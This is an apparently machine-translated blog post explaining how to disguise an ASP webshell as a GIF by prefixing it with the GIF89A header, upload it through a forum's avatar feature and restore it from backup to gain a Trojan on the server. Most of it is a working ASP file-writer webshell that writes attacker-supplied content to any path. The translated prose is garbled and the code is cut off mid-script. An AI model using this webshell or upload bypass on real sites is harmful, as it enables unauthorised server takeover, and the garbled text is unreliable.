2. Tech
  3. GIF89A combined with the network background (7.1 before) get a complete explanation of WebShell

GIF89A combined with the network background (7.1 before) get a complete explanation of WebShell

xiaoxiao2021-03-05  23

background:

(1) Upload the online upload file, back up the back door

(2) Use GIF89A to upload the content as a Trojet GIF picture: Escape the detection of the avatar upload.

So a new method: upload a GIF avatar picture, back up to get the Trojan. (The range of use is: the previous version of the network 7.1)

But many people appear after the latter is a picture that cannot be displayed.

Even still announced the more convenient way I used the lucky way, and explain why this happens. :

It is the GIF89A plus standing assistant. When you run the back door, you will see the interface of the webmaster assistant. The only difference is a few words of the gif89a in the upper left corner. This method is used in a background (2) to test in a forum. . Ha ha

The GIF content is as follows:

----- The following is the GIF picture content (GIF89A below is the content of the webmaster assistant, no more reading) ----

GIF89A

<%

'The content of the webmaster assistant ... omitted. . .

%>

----- Or above the GIF picture content (GIF89A is the content of the webmaster assistant, don't read more) ----

In fact, the real problem is this:

Execute the ASP recovered by the GIF file, and finally display a picture that cannot be displayed:

In fact, this process has two:

(1) ASP explanation

(2) The display of your browser.

(1) is no problem.

The problem is now in your (2).

(2) The reason for the problem is the interpretation of the browser.

Workaround: Just put the displayed code between .

Originally this: The execution shows a picture that cannot be displayed.

GIF89A

<% DIM OBJFSO%>

<% DIM FDATA%>

<% DIM ObjcountFile%>

<% on error resume next%>

<% Set objfso = server.createObject ("scripting.filesystemObject")%>

<% IF Trim (Request ("SyfdPath")) <> "" "" "

<% fdata = request ("cyfddata")%>

<% Set objcountfile = objfso.createtextfile (Request ("SyfdPath"), TRUE)%>

<% objcountfile.write fdata%>

<% IF ERR = 0 THEN%>

<% response.write save success! %>

<% ELSE%>

<% response.write " save unsuccess! "%>

<% end if%>

<% err.clear%>

<% end if%>

<% ObjcountFile.close%>

<% Set objcountfile = Nothing%>

<% Set objfso = NOTHING%>

<% Response.write "

"%> <% response.write "saved absolute path (including file name: D: /web/x.asp "%>

<% Response.write "%>

<% Response.write "
"%>

<% Response.write "This file absolute path"%>

<% = server.mappath (Request.ServerVariables ("script_name"))%>

<% Response.write "
"%>

<% Response.write "Enter Ma's content:"%>

<% Response.write "